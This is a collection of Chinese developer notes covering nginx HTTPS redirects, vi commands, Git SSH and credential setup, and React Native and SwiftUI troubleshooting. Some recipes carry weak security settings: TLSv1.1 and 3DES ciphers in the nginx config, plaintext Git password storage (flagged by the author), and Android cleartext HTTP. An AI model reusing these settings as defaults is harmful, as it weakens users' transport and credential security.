下面例子,实现一个把所有参数相加的函数,无论传入多少个参数都行:

function add() {
  var sum = 0;
  for(var i=0; i < arguments.length; i++){
    sum += arguments[i];
  }
  return sum;
}

console.log(add(1)); // 1
console.log(add(1, 2)); // 3
console.log(add(1, 2, 3)); // 6

nginx实现自动301跳转到www域名,并强制https

下面是一个完整的例子:

server 
{
    listen 80;
    listen [::]:80; # IP6 支持
    server_name www.test.com test.com;
    return 301 https://www.test.com$request_uri;
}
server
{
    listen 443 ssl http2;
    listen [::]:443 ssl http2; # IP6 支持
    server_name www.test.com test.com;
    index index.php index.html index.htm default.php default.htm default.html;
    root /www/wwwroot/test;
    
    #REWRITE-START
    if ($host ~ '^test.com'){
        return 301 https://www.test.com$request_uri;
    }
    #REWRITE-END
    
    #SSL-START SSL相关配置,请勿删除或修改下一行带注释的404规则
    #error_page 404/404.html;
    #HTTP_TO_HTTPS_START
    if ($server_port !~ 443){
        rewrite ^(/.*)$ https://$host$1 permanent;
    }
    #HTTP_TO_HTTPS_END
    ssl_certificate    /www/server/panel/vhost/cert/www.test.com/fullchain.pem;
    ssl_certificate_key    /www/server/panel/vhost/cert/www.test.com/privkey.pem;
    ssl_protocols TLSv1.1 TLSv1.2 TLSv1.3;
    ssl_ciphers EECDH+CHACHA20:EECDH+CHACHA20-draft:EECDH+AES128:RSA+AES128:EECDH+AES256:RSA+AES256:EECDH+3DES:RSA+3DES:!MD5;
    ssl_prefer_server_ciphers on;
    ssl_session_cache shared:SSL:10m;
    ssl_session_timeout 10m;
    add_header Strict-Transport-Security "max-age=31536000";
    error_page 497  https://$host$request_uri;

    #SSL-END
    
    #ERROR-PAGE-START  错误页配置,可以注释、删除或修改
    #error_page 404 /404.html;
    #error_page 502 /502.html;
    #ERROR-PAGE-END
    
    #PHP-INFO-START  PHP引用配置,可以注释或修改
    include enable-php-56.conf;
    #PHP-INFO-END
    
    #禁止访问的文件或目录
    location ~ ^/(\.user.ini|\.htaccess|\.git|\.svn|\.project|LICENSE|README.md)
    {
        return 404;
    }
    
    location ~ .*\.(gif|jpg|jpeg|png|bmp|swf)$
    {
        expires      30d;
        error_log /dev/null;
        access_log /dev/null;
    }
    
    location ~ .*\.(js|css)?$
    {
        expires      12h;
        error_log /dev/null;
        access_log /dev/null; 
    }
    access_log  /www/wwwlogs/www.test.com.log;
    error_log  /www/wwwlogs/www.test.com.error.log;
}

配置修改完毕后执行 nginx -t 检查配置,检查没有问题后,执行 nginx -s reload 重启 nginx 服务即可。

最好再浏览器中检查网站访问效果时,最好清理下浏览器的缓存 cookie 等。可以看到访问 test.com 时都会返回 301 重定向,而 location 便是重定向的地址。

vi 学习笔记

大概写于 2010 年 12 月 30 号,上传于 CSDN

vi 编辑器是所有 Unix 及 Linux 系统下标准的编辑器,它的强大不逊色于任何最新的文本编辑器,这里只是简单地介绍一下它的用法和一小部分指令。由于对 Unix 及 Linux 系统的任何版本,vi 编辑器是完全相同的,因此您可以在其他任何介绍 vi 的地方进一步了解它。vi 也是 Linux 中最基本的文本编辑器,学会它后,您将在 Linux 的世界里畅行无阻。

1、vi 的基本概念

基本上 vi 可以分为三种状态:

  1. 命令行模式 ( Command mode )
    控制屏幕光标的移动,字符、字或行的删除,移动复制某区段及进入 Insert mode 下,或者到 Last line mode。

  2. 插件模式 ( Insert mode )
    只有在 Insert mode 下,才可以做文字输入,按「ESC」键可回到命令行模式。

  3. 底行模式 ( Last line mode )
    将文件保存或退出 vi,也可以设置编辑环境,如寻找字符串、列出行号等。
    不过一般我们在使用时把vi简化成两个模式,就是将底行模式( Last line mode )也算入命令行模式 Command mode )。

2、vi 的基本操作

2.1、进入 vi

在系统提示符号输入 vi 及文件名称后,就进入vi全屏幕编辑画面

$ vi myfile

注意,进入vi之后,是处于「命令行模式(Command mode)」,要切换到「插入模式(Insert mode)」才能输入文字。

初次使用 vi 的同学都会想先用上下左右键移动光标,结果电脑一直哔哔叫,把自己气个半死,所以进入 vi 后,先不要乱动,转换到「插入模式(Insert mode)」再说吧!

2.2 切换至插入模式(Insert mode)编辑文件

在「命令行模式(command mode)」下按一下字母「i」进入「插入模式(Insert mode)」,这时可开始输入文字了。

2.3、Insert 的切换

你目前处于「插入模式(Insert mode)」,你就只能一直输入文字,如果你发现输错了字!想用光标键往回移动,将该字删除,就要先按一下「ESC」键转到「命令行模式(command mode)」再删除文字。

2.4、退出vi及保存文件

在「命令行模式(command mode)」下,按一下「:」冒号键进入「Last line mode」,例如:

  • : w filename (输入 「w filename」将文章以指定的文件名filename保存)
  • wq (输入「wq」,存盘并退出 vi)
  • q! (输入「q!」, 不存盘强制退出 vi)

3、命令行模式(Command mode)功能键

3.1、插入模式

  • 按「i」切换进入插入模式「insert mode」,从光标当前位置开始输入文件;
  • 按「a」切换进入插入模式「insert mode」,从目前光标所在位置的下一个位置开始输入文字;
  • 按「o」切换进入插入模式「insert mode」,从光标所在行向下插入新的一行,从行首开始输入文字。

3.2、从插入模式切换为命令行模式

按「ESC」键即可退出当前模式,切换回命令行模式。

3.3、移动光标

vi 可以直接用键盘上的光标来上下左右移动,但正规的 vi 是用小写英文字母「h」、「j」、「k」、「l」,分别控制光标左、下、上、右移一格。

命令 描述
ctrl」+「b 屏幕往"后"移动一页
ctrl」+「f 屏幕往"前"移动一页
ctrl」+「u 屏幕往"后"移动半页
ctrl」+「d 屏幕往"前"移动半页
「0」数字 移到文章的开头
G 移动到文章的最后
$ 移动到光标所在行的 "行尾"
^ 移动到光标所在行的 "行首"
w 光标跳到下个字的开头
e 光标跳到下个字的字尾
b 光标回到上个字的开头
#l 光标移到该行的第#个位置,如:5l, 56l

3.4、删除文字

  • x」:每按一次,删除光标所在位置的 "后面" 1 个字符。
  • #x」:例如,「6x」表示删除光标所在位置的 "后面" 6个字符。
  • X」:大写的X,每按一次,删除光标所在位置的 "前面" 一个字符。
  • #X」:例如,「20X」表示删除光标所在位置的 "前面" 20个字符。
  • dd」:删除光标所在行。
  • #dd」:删除多行,例如,「20dd」 表示从光标所在行开始往后删除 20 行。

3.5、复制(注意不是粘贴板)

  • yw」:将光标所在之处的『单词』复制到缓冲区中。
  • #yw」:复制多个『单词』到缓冲区,例如:「5yw」 表示复制后面的5个单词。
  • yy」:复制光标所在行到缓冲区。
  • #yy」:复制多行,例如,「6yy」表示复制从光标所在的该行 "往下数" 6行文字。
  • p」:将缓冲区内的字符粘贴到光标所在位置。

注意:所有与 y 有关的复制命令都必须与 p 配合才能完成复制与粘贴功能。

3.6、替换

  • r」:替换光标所在处的字符。
  • R」:可持续替换光标所到之处的字符,直到按下「ESC」键为止。

3.7、恢复上一次操作

  • u」:如果您误执行一个命令,可以马上按下「u」,回到上一个操作。按多次「u」可以执行多次恢复。

3.8、更改

  • s」:删除当前字符并进入插入模式「insert mode」
  • S」:删除所在行并进入插入模式「insert mode」
  • cw」:删除当前『单词』并进入插入模式「insert mode」
  • c#w」:删除当前往后的多个『单词』并进入编辑模式例如,「c3w」表示更改3个字

3.9、跳至指定的行

ctrl」+「g」列出光标所在行的行号。

4、Last line mode下命令简介

在使用「Last line mode」之前,请记住先按「ESC」键确定您已经处于「Command mode」下后,再按「:」冒号即可进入「Last line mode」。

4.1、列出行号

set nu:输入 set nu 回车后,会在文件中的每一行前面列出行号。

4.2、跳到文件中的某一行

#」:# 号表示一个数字,在冒号后输入一个数字,回车后会跳到对应行,如输入数字 15 回车,就会跳到文章的第15行。

4.3、查找字符

  • /关键字:从当前位置向下搜索。先按「/」键,再输入您想寻找的字符,回车,如果第一次找的关键字不是您想要的,可以一直按「n」会往后寻找到您要的关键字为止。
  • ?关键字:从当前位置向上搜索。先按「?」键,再输入您想寻找的字符,回车,如果第一次找的关键字不是您想要的,可以一直按「n」会往前寻找到您要的关键字为止。

4.4、保存文件

w:在冒号输入字母「w」就可以将文件保存起来。

4.5、退出 vi

q:退出文件编辑,如果无法退出,可以在「q」后跟一个「!」强制离开 vi,比如 q! 回车。
wq:一般建议离开时,搭配「w」一起使用,这样在退出的时候还可以先保存文件。

5、vi 命令列表

下表列出命令模式下的一些键的功能

命令 描述
h 左移光标一个字符
l 右移光标一个字符
k 光标上移一行
j 光标下移一行
^ 光标移动至行首
0 数字 0,光标移至文章的开头
G 光标移至文章的最后
$ 光标移动至行尾
ctrl」 + 「f 向前翻屏
ctrl + 「b 向后翻屏
ctrl + 「d 向前翻半屏
ctrl + 「u 向后翻半屏
i 在光标位置前插入字符
a 在光标所在位置的后一个字符开始增加
o 插入新的一行,从行首开始输入
ESC 从输入状态退至命令状态
x 删除光标后面的字符
#x 删除光标后的#个字符
X 删除光标前面的字符
#X 删除光标前面的#个字符
dd 删除光标所在的行
#dd 删除从光标所在行数的#行
yw 复制光标所在位置的 1 个『单词』
#yw 复制光标所在位置的 # 个『单词』
yy 复制光标所在位置的一行
#yy 复制从光标所在行数的 #
p 粘贴
u 撤销上 1 次操作
cw 更改光标所在位置的 1 个『单词』
#cw 更改光标所在位置的 # 个『单词』

下表列出行命令模式下的一些指令

命令 描述
w filename 储存正在编辑的文件为 filename
wq filename 储存正在编辑的文件为 filename,并退出 vi
q 放弃所有修改,退出 vi
q! 强制退出 vi
set nu 显示行号
/」或「? 查找,在 / 后输入要查找的内容按。按 「n」 向后(/)或向前(?)继续查找

n/? 一起使用,如果查找的内容不是想要找的关键字,,直到找到为止。

6、对于第一次用vi,有几点注意要提醒一下

  1. 用 vi 打开文件后,是处于「命令行模式(command mode)」,您要切换到「插入模式(Insert mode)」才能够输入文字。切换方法:在「命令行模式(command mode)」下按一下字母「i」就可以进入「插入模式(Insert mode)」,这时候你就可以开始输入文字了。

  2. 编辑好后,需从插入模式切换为命令行模式才能对文件进行保存,切换方法:按「ESC」键。

  3. 保存并退出文件:在命令模式下输入 :wq 即可!( 别忘了wq前面的 :

  4. #G」:例如,「15G」,表示移动光标至文章的第15行行首。

Mac里添加多个git ssh

CSDN地址(2016-07-04): http://blog.csdn.net/diamont1001/article/details/51822803

最近团队里多了几台Macbook,公司也有多个Git仓库,在设置多个Git ssh的时候遇到了些问题,但最后都解决了,下面记录下。

1. 生成ssh

ssh-keygen -t rsa -C "[email protected]"

以上命令后,会让你输入ssh key的保存文件名,输入如下

~/.ssh/id_rsa_1

然后会让你输入密码,这个是ssh文件的密码,简单点就行,输入就行。

此时,会在~/.ssh目录下看到你生成的两个文件:

  • "id_rsa_1":私钥
  • "id_rsa_1.pub":公钥

2. 去git站点添加对应的ssh

以Github为例:https://github.com/ -> Your profile -> edit profile -> SSH and GPG keys -> new SSH key

cat ~/.ssh/id_rsa_1.pub 

把以上输出的内容全部复制并粘贴到git仓库站点ssh管理页面key那栏,title随意自己,可以写“my macbook"。

3. 把私钥添加到git

ssh-add -K ~/.ssh/id_rsa_1

以上已经完成一个ssh key的添加了。

再添加其他仓库的,重复以上(1)到(3)步骤即可,记得输入文件名的时候别重复了。

4. 最后修改配置文件

~/.ssh 目录下新建一个 config 文件

touch config

添加内容:

#github  
Host github  
HostName github.com  
User [email protected]  
IdentityFile ~/.ssh/id_rsa_1  

#gitlab  
Host gitlab.com  
HostName gitlab.com  
User [email protected]  
IdentityFile ~/.ssh/id_rsa_2  

#github3  
Host github3  
HostName github3.com  
User [email protected]  
IdentityFile ~/.ssh/id_rsa_3  

# ... 

http(s)协议拉取代码

以上说的是 ssh 的方式,也就是通过 [email protected] 协议去拉取代码的情况,但如果使用 HTTP/HTTPS 协议拉取代码时则 SSH KEY 不可用,那怎么办呢?

image

注意:以下方式会以明文的方式保存账号密码在你本地,会有暴露的风险!
注意:以下方式会以明文的方式保存账号密码在你本地,会有暴露的风险!
注意:以下方式会以明文的方式保存账号密码在你本地,会有暴露的风险!

步骤1:Home 目录创建 .git-credentials 文件

cd ~
vi .git-credentials

按以下形式输入(一行一个):

https://{username}:{password}@xxx.com:8090

比如:

http://root:[email protected]:8090
https://root:[email protected]

步骤2:设置 credential.helper

git config --global credential.helper store

步骤3:验证

cat ~/.gitconfig

如果输出的内容有以下内容,即代码成功了:

[credential]
	helper = store

npm publish 有时候突然很卡,怎么都发布不了包,遇到过吗?

之前遇到过好几次,在发布包的时候,npm publish 一直卡着,也没东西输出,就是卡着。
害的我把环境啥的都检查并重装了一遍,最后还是没能解决。
最后还是把代码交给同事,让同事给帮忙发布了……

直到最近,在新电脑上又出现了,这次决定再认真看下,打开了日志,竟然被我发现了其秘密……

代码里包含了个 /demo,而 demo 里有测试代码,我在本地跑的时候,/demo/node_modules/ 文件夹留了下来忘记删了,导致在 npm publish 的时候把整个 node_modules 目录都加进去吧,难怪会一直卡在那里呢。

解决方法,添加 .npmignore 文件,把 demo 文件夹排除了就好了!

demo/

React Native 踩坑随记

flex 布局概论

  • react 宽度基于 pt 为单位, 可以通过 Dimensions 来获取宽高,PixelRatio 获取密度。
  • View 默认宽度为 100%
  • 水平居中用 alignItems, 垂直居中用 justifyContent

Header、Footer 的 fixed 定位的问题

刚接触 RN,观念还停留在前端的常规布局时代,想要实现一个 Fixed 在底部的 Footer,结果发现 RN 没有 Fixed 定位,但是奇怪 react-navigation 的底部 tab 是怎么实现的。

其实 RN 的布局都是使用 flex 的,而 Fixed 和 Header 和 Footer 这些,其实是使用 flex 里的垂直布局。

<App>
  <Header />
  <ScrollView>
    ...
  </ScrollView>
  <Footer />
</App>

如上面的布局,如下即可实现:

1)App 的 flexDirectioncolumn,也就是垂直布局。
2)ScrollView 的 flexGrow 为 1,Header 和 Footer 都为默认(0)

View 的宽度默认为 100%,怎么设置成自适应宽度

还是布局问题,react native 的布局中,display 属性值只有 flexnone 两个值,所以要想像传统 CSS 这样把 display 设成 inline 是行不通的。

可以这样解决:

<View style={styles.container}>
 <Text>Hello</Text>
</View>

const styles = StyleSheet.create({
   container: {
     flexDirection: 'row', 
     alignSelf: 'flex-start',
   }
});

或者这样:

<View style={styles.container}>
  <Flex>
    <Text>Hello</Text>
    <Text>World</Text>
  </Flex>
</View>

const styles = StyleSheet.create({
   container: {
     flexWrap: 'wrap',
   }
});

安卓运行失败 spawn ./gradlew EACCES

新环境刚拉的项目代码,运行 yarn android 可能会遇到以下报错:

error Failed to install the app. Make sure you have the Android development environment set up: https://reactnative.dev/docs/environment-setup.
Error: spawn ./gradlew EACCES
    at Process.ChildProcess._handle.onexit (node:internal/child_process:283:19)
    at onErrorNT (node:internal/child_process:478:16)
    at processTicksAndRejections (node:internal/process/task_queues:83:21)

查了一圈,原来是 android 文件夹的权限问题,解决方法很简单,给文件夹加个权限就行:

chmod 755 android/gradlew

ios 模拟器突然变的好卡

今天在 x-code 的 ios 模拟器上进行调试的时候,突然之间模拟器变的好卡,非常卡,第一反应,是不是我程序内存泄露了,然后重启了下 x-code,还是不行,最后重新电脑,还是不行……还以为是电脑坏了……

搞很久还是不行,用真机调试没问题,真要崩溃!

最后的最后,不小心百度了下,竟然有答案,答案就是,我调试的时候不小心按到了 command + t,也就是开启了【动画慢动作】功能…… 这个功能的快捷键就是 command + t,跟 Reload 的 command + r 挨的很近……

这肯定就是苹果的开发人员故意的,故意陷害我们的,嗯,一定是这样……

AsyncStorage.setItem 出现 Crash

AsyncStorage.setItem(key, value) 注意 value 只能是字符串形式,比如下面这个会出错:

AsyncStorage.setItem('key', 1);

要改成:

AsyncStorage.setItem('key', 1 + '');

千万别用 console.dir,生产环境会白屏;可以用 console.log

昨天发现一个比较奇怪的问题,在本地调试、真机调试都没有问题,但一个 testFlight 就白屏。

找了好久没找出问题,最后好不容易才把问题定位到了 console.dir 上了。

console.dir 是可以把对象的所有属性的方法都打印出来,但是因为它不是标准的,千万别用到生产环境。

可以用的 console 方法:

  • console.log
  • console.warn
  • console.error

Android Studio 出现错误:Gradle sync failed: Already disposed

升级了 Android Studio 之后,出现了 Gradle sync failed: Already disposed! 这个错误,而且怎么重新打包都不行,网上找了相关资料,给出了解决文案:

删除 android/.idea/modules.xml 文件,然后重新构建一次即可。

参考:stackoverflow

使用Xcode upload卡在Authenticating with the iTunes store

  1. 尝试切换 4G 网络试试
  2. 还不行的话,做下以下的动作,再尝试
cd ~
mv .itmstransporter/ .old_itmstransporter/ 
"/Applications/Xcode.app/Contents/Applications/Application Loader.app/Contents/itms/bin/iTMSTransporter" 

第三条命令执行很费时,而且网络不好时会卡着不会显示任何内容,可以切换网络试试,我切换到手机4G马上就好了。

然后,再重新试下上传,应该就可以了。

参考:简书

iOS 切换证书后,出现错误 The executable was signed with invalid entitlements

网上很多教程,试过都不行,最后发现原来是自己在 Xcode 配置新证书的时候漏了,只修改了一个。
仔细检查 project->Targets 下面的每一个:

  • XXX(项目名)
  • XXXTests
  • XXX-tvOS
  • XXX-tvOSTests

之前我就只改了项目名的,漏了 XXXTexts 的了。

安卓:RN 0.60.x compile error: "import android.support.v4.util.Pools" problem

其实是 AndroidX 的问题,RN 0.60.x 支持了 AndroidX,但是你使用的一些第三方库不支持导致的,比如 (react-native-gesture-handler),解决方法有两种:

  • 一个是使用 Android Studio 的 Migrate to AndroidX 来解决,但是当你重新 yarn install 后就会失效,而且也不便于与网络上的其他协作者共享解决文案
  • 另外一种方案是使用 jetifier 命令行,具体如下:

1.安装 jetifier 到项目 devDependencies

yarn add -D jetifier

# 或者使用 npm
npm install --save-dev jetifier
  1. 添加脚本 package.json
"script": {
    "postinstall": "npx jetify",
    ...
}
  1. 重新安装依赖
yarn install

# 或者使用npm
npm install

最后会看到以下提示信息,表示已经转换完成了:

$ npx jetify
Jetifier found 1219 file(s) to forward-jetify. Using 8 workers...

隐藏 WebView 滚动条

通过 RN 官方文档,看不到怎么隐藏 WebView 的滚动条,Google 了几下后才发现,原来以下两个属性也支持:

  • showsHorizontalScrollIndicator
  • showsVerticalScrollIndicator

比如:

<WebView
  ...
  showsHorizontalScrollIndicator={false}
  showsVerticalScrollIndicator ={false}
/>

IOS library not found for -lDoubleConversion

react-native >= 0.60 初始化建立的项目,是依赖了 cocoa pods 的,在 Xcode 里打开项目的时候不是打开 ios/{Project}.xcodeproj ,而是要打开 ios/{Project}.xcworkspace

出现以上问题的情况,应该是按原来的思路,打开的是 ios/{Project}.xcodeproj 导致的,解决方法就是,完全退出 Xcode 后,重新打开项目 ios/{Project}.xcworkspace 即可。

在 Android 上支持 GIF 和 WebP 格式图片

默认情况下 Android 是不支持 GIF 和 WebP 格式的。你需要在android/app/build.gradle文件中根据需要手动添加以下模块:

dependencies {
  // 如果你需要支持Android4.0(API level 14)之前的版本
  implementation 'com.facebook.fresco:animated-base-support:1.10.0'

  // 如果你需要支持GIF动图
  implementation 'com.facebook.fresco:animated-gif:1.12.0'

  // 如果你需要支持WebP格式,包括WebP动图
  implementation 'com.facebook.fresco:animated-webp:1.10.0'
  implementation 'com.facebook.fresco:webpsupport:1.10.0'

  // 如果只需要支持WebP格式而不需要动图
  implementation 'com.facebook.fresco:webpsupport:1.10.0'
}

参考:【官方文档

JSX 条件渲染,慎用 && 表达式,建议使用三元表达式

由于 RN 的文字必须放到 Text 元素里,所以 JSX 写的不当的话,会容易造成语法错误,比如以下:

  render() {
    return (
      ...
      {article.isTop && <Text>置顶</Text>}
      ...
    )
  }

以上当 article.isTop 定义为非布尔类型时,就会报错(提示文字必须包含在 Text 标签内)。比如常见的数字类型:article.isTop = 1,就会报错。

建议使用三元表达式:

  render() {
    return (
      ...
      {article.isTop ? <Text>置顶</Text> : null}
      ...
    )
  }

当然,要是不喜欢三元,硬是要用 && 的话也不是不行,但要把条件表达式显式转换为布尔类型,如:

  render() {
    return (
      ...
      {!!article.isTop && <Text>置顶</Text>}
      ...
    )
  }

安卓 WebView 下HTTPS网站加载不出HTTP图片

这是一个 mixed content 的问题,安卓在 5.0 之后就默认打开了这个限制,要解除限制的话需要手动配置,参考 RN官方文档 webview:mixedcontentmode英文原版文档

如果还是不行,请往下看,AndroidManifest.xml 里添加 android:usesCleartextTraffic="true" 即可。

安卓手机上,HTTP图片显示不出来

跟上一条,同样的,安卓平台默认会开启 SSL 安全策略,想要关闭它,需要添加以下配置:

文件 android/app/src/main/AndroidManifest.xml 添加:

<application
    ....
    android:usesCleartextTraffic="true"
    ....>

说明:

  • 默认情况下,iOS 会阻止所有 http 的请求,以督促开发者使用 https。如果你仍然需要使用 http 协议,那么首先需要添加一个 App Transport Security 的例外,详细可参考这篇帖子

  • 从 Android9 开始,也会默认阻止 http 请求,请参考相关配置,或者上面说的直接在 AndroidManifest.xml 添加亦可。

Issue: ITMS-90809: Deprecated API Usage - Apple will stop accepting submissions of apps that use UIWebView APIs

解决方法:看这里
相关 issue: react-native-webview/issues/819

或者,直接把 react-native-webview 升级到 7.0+

其他

  • 文字必须放在 Text 元素里边
  • Text 元素可以相互嵌套,且存在样式继承关系
  • Text 的 numberOfLines 需要放在最外层的Text元素上

PHP性能检测里需要用到的获取毫秒数的函数(方便自己记录一下)

/**
 * 程序运行耗时检测(单位:ms)
 *
 * @return int
 */
function get_time_cost_ms() {
    static $last_time = 0;

    $current_time = (int)(microtime(true)*1000);
    $delta_time = $last_time == 0 ? 0 : ($current_time - $last_time);
    $last_time = $current_time;

    return $delta_time;
}

使用:在关键代码的前后调用一下该函数并把返回值打印出来,即可分析耗时!
比如:

...
echo 'step 1: ' .get_time_cost_ms();
$result = get_list(); // 想要监控的关键行
echo 'step 1.1: '.get_time_cost_ms();
...

iOS开发之swiftUI学习以及采坑记录

苹果的文档写的还是不错的,开发前可以多看看官方文档:

常用记录

养成好习惯

  • @State 变量加上 private: @State private var score: Int = 0
  • 尽量使用默认 .padding(): 如果不加任何参数的话,.padding() 会根据屏幕大小而进行自适应的
  • 多个弹出UI组件不能同时放到同个UI组件(包含子组件里),比如 .alert(),需要分散到各个互不相嵌的组件

键盘弹出后,点击空白不会自动隐藏

修复:

以上方法要注意,UIApplication.shared.addTapGestureRecognizer 可能会导致整个App都生效,而且最好避免重复调用。
如果只是需要在某些子页面隐藏键盘的话,以下方法可能更适用:

// 手动隐藏键盘
// 调用:UIApplication.shared.hideKeyboard()
// 也可以直接在需要的页面元素添加 .onTapGesture { UIApplication.shared.hideKeyboard() }
extension UIApplication {
    func hideKeyboard() {
        sendAction(#selector(UIResponder.resignFirstResponder), to: nil, from: nil, for: nil)
    }
}

键盘弹出遮挡页面

解决:https://stackoverflow.com/a/59514820

// Form {}.keyboardResponsive()
struct KeyboardResponsiveModifier: ViewModifier {
  @State private var offset: CGFloat = 0

  func body(content: Content) -> some View {
    content
      .padding(.bottom, offset)
      .onAppear {
        NotificationCenter.default.addObserver(forName: UIResponder.keyboardWillShowNotification, object: nil, queue: .main) { notif in
          let value = notif.userInfo![UIResponder.keyboardFrameEndUserInfoKey] as! CGRect
          let height = value.height
          let bottomInset = UIApplication.shared.windows.first?.safeAreaInsets.bottom
          self.offset = height - (bottomInset ?? 0)
        }

        NotificationCenter.default.addObserver(forName: UIResponder.keyboardWillHideNotification, object: nil, queue: .main) { notif in
          self.offset = 0
        }
    }
  }
}

extension View {
  func keyboardResponsive() -> ModifiedContent<Self, KeyboardResponsiveModifier> {
    return modifier(KeyboardResponsiveModifier())
  }
}

SwiftUI 图片展示

SwiftUI 计算属性

struct ViewExample: View {
    private var value: Bool
    // 计算属性
    private var text: String {
        "Toggle is " + (value ? "'on'" : "'off'")
    }
    ...
}

字体不等宽问题

默认的字体是不等宽的,比如 81 宽,但是有些时候我们想要等宽字体怎么办呢?为此,SwiftUI 也给出了解决方案:

Text("123123")
    .font(.system(size: 15, design: .monospaced))

多行输入框 texteditor 样式问题

传送门:https://serialcoder.dev/text-tutorials/swiftui/texteditor-in-swiftui/

TextField 输入框输入状态检测

TextField("", text: $inputText, onEditingChanged: { (changed) in
    if changed {
        // print("text edit has begun")
    } else {
        // print("committed the change")
    }
})

ActionSheet 写法规范(兼容iPad)

ActionSheet 在手机端是在底部弹出菜单,但是在 iPad 端会在页内弹出菜单,写法不规范的话,会导致菜单在 iPad 弹出的位置会很奇怪。下面列出几种规范情况:

一、按钮点击后弹出菜单

ActionSheetButton 联动的,直接写在 Button 后面:

Button(action: {
    self.isDeletePresented = true
}) {
    Text("Delete")
        .foregroundColor(.red)
}
.actionSheet(isPresented: $isDeletePresented, content: {
    ActionSheet(title: Text("Cannot be restored after deletion"),
        buttons: [
            .destructive(Text("Delete")) {
                // do something delete here
                // ...
            },
            .cancel({
            })
        ]
    )
})

二、列表中的弹出菜单

有一些弹出菜单是跟列表联动的,比如列表项的删除二次确认弹出菜单,需要写在 List 里面的 Foreach 下面:

List {
    ForEach(list, id: \.self) { item in
        Text("\(item.name)")
    }
    .onDelete(perform: { offsets in
        toDeleteSet = offsets
        isPresentingDeleteItem.toggle()
    })
    .actionSheet(isPresented: $isPresentingDeleteItem, content: {
        ActionSheet(title: Text("Would you like to delete this item? This item will be deleted from all of your devices."),
            buttons: [
                .destructive(Text("Delete")) {
                    // do something delete here
                    // ...
                },
                .cancel({
                })
            ]
        )
    })
}

List item 里的 button 点击会导致整行被点击

解决:使用 .buttonStyle(BorderlessButtonStyle())

List {
...
}
.buttonStyle(BorderlessButtonStyle())

附:List 样式详解

swiftUI代码编译过程,系统内存使用突然暴增,乃至卡死机

  • 血与泪的教训:swiftUI变量在定义时最好加上类型

在代码编译的时候,突然发现编译好久,甚至还弹出窗口提示说内存不足,看了下其实没开几个程序,搞的我又升级系统又啥的,还是没解决,最后解决过程记录一下,避免再次踩坑:

打开系统自带的【Activity Monitor】看了下,如图:

image

image

由图看到 SourceKitServiceswift-frontend 两个进程占用内存都好几十G,这很不正常。赶紧先把以上两个进程强制退出(双击进程-》强制退出),电脑马上恢复正常。

然后上网查了一下,找到一篇文章说到,有可能是 View 的传递的参数类型不确定导致的,看了下代码,并进行测试定位,最终定位到了问题代码所在,如下:

...
let UNIT_NUMBER_OFFSET_Y = 4.0 // 就是这里,没有定义好类型,然后下面调用时编译器找不到准确类型,导致崩了

TextField("", text: $kilometer)
    .offset(y: UNIT_NUMBER_OFFSET_Y) // 这里需要的是 CGFloat 类型

解决:把传递的参数类型定义好即可:

...
let UNIT_NUMBER_OFFSET_Y: CGFloat = 4.0 // 这里把类型定义好就行

TextField("", text: $kilometer)
    .offset(y: UNIT_NUMBER_OFFSET_Y)

写少了一个.,编译通过但是页面会卡死

比如以下的这种情况一定要注意:

Text("Hello World")
    background(Color.yellow) // 少了一个点

正确应该是这样:

Text("Hello World")
    .background(Color.yellow)

系统分享

// 使用方法:
// @State private var showShareSheet: Bool = false
// @State var shareSheetItems: [Any] = []
//
// // 分享按钮
// Button(action: {
//     self.shareSheetItems = ["分享的内容,可以是图片、文字等"]
//     self.showShareSheet.toggle()
// }) {
//     Image(systemName: "arrowshape.turn.up.left")
// }
// .sheet(isPresented: $showShareSheet, content: {
//     ActivityViewController(activityItems: self.$shareSheetItems)
// })
//
//
//  Created by 陈精任 on 2021/11/19.
//

import SwiftUI

struct ActivityViewController: UIViewControllerRepresentable {
    @Binding var activityItems: [Any]
    var excludedActivityTypes: [UIActivity.ActivityType]? = nil

    func makeUIViewController(context: UIViewControllerRepresentableContext<ActivityViewController>) -> UIActivityViewController {
        let controller = UIActivityViewController(activityItems: activityItems,
                                                  applicationActivities: nil)

        controller.excludedActivityTypes = excludedActivityTypes

        return controller
    }

    func updateUIViewController(_ uiViewController: UIActivityViewController, context: UIViewControllerRepresentableContext<ActivityViewController>) {}
}

URL分享时,微信识别不了链接内容

调用系统分享,选择微信分享一个链接时,微信识别不了链接内容,这是因为在分享的时候没有把内容设置成链接。

解决:把分享的 String 类型链接改成NSURL 类型即可:

NSURL(string: "https://www.xxx.com/xxx")

Coredata Cloudkit 开发环境没数据

开发的时候,一切都就绪,但是开发环境就是没看到数据。原因是开发的时候使用模拟器是没法将数据同步到 iCloud 的,因为模拟器没有登录 iCloud。

iCloud: https://icloud.developer.apple.com/dashboard/database

解决:插上真机,XCode 进行真机测试一下即可。

注意:TestFlight 上的测试包同步的数据是生产环境数据。

image

Coredata Cloudkit 同步突然失败

之前做的App,后来做新功能新增了一个数据表,原来的那个表也增加一一些字段,然后就开始同步不了了,查了下都找不到解决办法,拖了好久,今天才偶然见到这个 帖子,解决办法如下:

修改过数据表的话,需要点一下 https://icloud.developer.apple.com/dashboard/ 里的 Deploy Schema Changes…,将这些更改部署到 CloudKit 仪表板上的生产环境。

image

如果遇到,在开发过程中新增 entity 之后,在 cloudkit 网站 development 上看不到有新 schema,那是因为没有在真机测试的原因。因为模拟器是没有登录 icloud 账号的所以同步不上去,而 testflight 是生产环境数据,所以,需要把手机直接用线连接电脑进行真机测试之后,马上就能在 cloudkit 网站看到新的数据变化了。

SwiftUI视图保存为图片

参考:https://www.hackingwithswift.com/quick-start/swiftui/how-to-convert-a-swiftui-view-to-an-image

以上是使用 UIImage.snapshot() 实现的。

UIImage.snapshot() 在 iOS 15 出现内容向下偏移的 BUG

参考:https://www.vinzius.com/post/how-to-remove-padding-when-snapshotting-swiftui-view-ios15/

SwiftUI 黑夜模式兼容(Light/Dark)

参考:https://stackoverflow.com/a/62207329

SwiftUI 并不是自动兼容黑夜模式的,只有几个颜色自动兼容(比如:Color.primary, Color.secondary 等),但是并不是所有都兼容的(比如:Color.white, Color.black 等),所以如果没有特意去做兼容的话,最后 App 在黑夜模式下会有问题。

具体做法:

  1. 定义好颜色
import Foundation
import SwiftUI

extension Color {
    #if os(macOS)
    static let background = Color(NSColor.windowBackgroundColor)
    static let secondaryBackground = Color(NSColor.underPageBackgroundColor)
    static let tertiaryBackground = Color(NSColor.controlBackgroundColor)
    #else
    static let background = Color(UIColor.systemBackground)
    static let secondaryBackground = Color(UIColor.secondarySystemBackground)
    static let tertiaryBackground = Color(UIColor.tertiarySystemBackground)
    #endif
}
